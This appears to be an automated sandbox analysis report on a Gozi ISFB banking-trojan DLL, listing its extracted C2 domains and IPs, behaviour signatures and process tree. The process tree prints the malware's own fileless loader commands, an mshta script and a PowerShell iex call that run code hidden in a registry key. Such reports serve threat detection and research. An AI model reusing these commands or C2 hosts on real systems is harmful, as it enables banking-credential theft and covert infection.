Analysis
- max time kernel
154s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
20/09/2022, 13:08
General
- Target 6329b3a546054tiff.dll
- Size 511KB
- Sample220920-qc8tmageem
- SHA256 49c54e18e22e5c82d591ff5345a4c660f2c80e14fcbe4c3a7d1df43654e40e86
Malware Config
Extracted
-
gozi_ifsb
-
3000
-
config.edge.skype.com
-
89.41.26.99
-
89.45.4.102
-
interstarts.top
-
superlist.top
-
internetcoca.in
-
base_path
/drew/
-
build
250246
-
exe_type
loader
-
extension
.jlk
-
server_id
50
Extracted
-
gozi_ifsb
-
3000
-
interliner.top
-
interlinel.top
-
superliner.top
-
superlinez.top
-
internetlined.com
-
internetlines.in
-
medialists.su
-
medialists.ru
-
mediawagi.info
-
mediawagi.ru
-
89.41.26.90
-
89.41.26.93
-
denterdrigx.com
-
digserchx.at
-
base_path
/images/
-
build
250246
-
exe_type
worker
-
extension
.jlk
-
server_id
50
Signatures
- Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 5 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 35 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\6329b3a546054tiff.dll2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\6329b3a546054tiff.dll3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Bmav='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Bmav).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\51C98FB5-7C72-AB2B-0E15-700F2219A4B3\\\TypePack'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name yhdmxbnxj -value gp; new-alias -name pattnarqh -value iex; pattnarqh ([System.Text.Encoding]::ASCII.GetString((yhdmxbnxj "HKCU:Software\AppDataLow\Software\Microsoft\51C98FB5-7C72-AB2B-0E15-700F2219A4B3").VirtualWhite))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ds5glaah\ds5glaah.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES18A4.tmp" "c:\Users\Admin\AppData\Local\Temp\ds5glaah\CSC51659D7BF65549E1863FB56536CCB3F.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m5uui25u\m5uui25u.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1921.tmp" "c:\Users\Admin\AppData\Local\Temp\m5uui25u\CSC91954CD6B56C42009888DF7774F7928.TMP"5⤵
-
-
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
RES18A4.tmp
RES1921.tmp
ds5glaah.dll
m5uui25u.dll
CSC51659D7BF65549E1863FB56536CCB3F.TMP
ds5glaah.0.cs
ds5glaah.cmdline
CSC91954CD6B56C42009888DF7774F7928.TMP
m5uui25u.0.cs
m5uui25u.cmdline
memory/2424-169-0x0000000008900000-0x00000000089A3000-memory.dmp
memory/2424-164-0x0000000008900000-0x00000000089A3000-memory.dmp
memory/3456-162-0x0000022930580000-0x0000022930623000-memory.dmp
memory/3744-163-0x000001FE38A30000-0x000001FE38AD3000-memory.dmp
memory/4340-145-0x00007FFEA50E0000-0x00007FFEA5BA1000-memory.dmp
memory/4340-144-0x000001EF0D050000-0x000001EF0D072000-memory.dmp
memory/4340-160-0x00007FFEA50E0000-0x00007FFEA5BA1000-memory.dmp
memory/4340-161-0x000001EF26D50000-0x000001EF26D8D000-memory.dmp
memory/4820-165-0x0000021343D80000-0x0000021343E23000-memory.dmp
memory/4908-167-0x0000000000066B20-0x0000000000066B24-memory.dmp
memory/4908-168-0x0000000001350000-0x00000000013E6000-memory.dmp
memory/5024-133-0x0000000010000000-0x000000001000E000-memory.dmp
memory/5024-138-0x00000000007D0000-0x00000000007D5000-memory.dmp
memory/5024-139-0x0000000000800000-0x000000000080D000-memory.dmp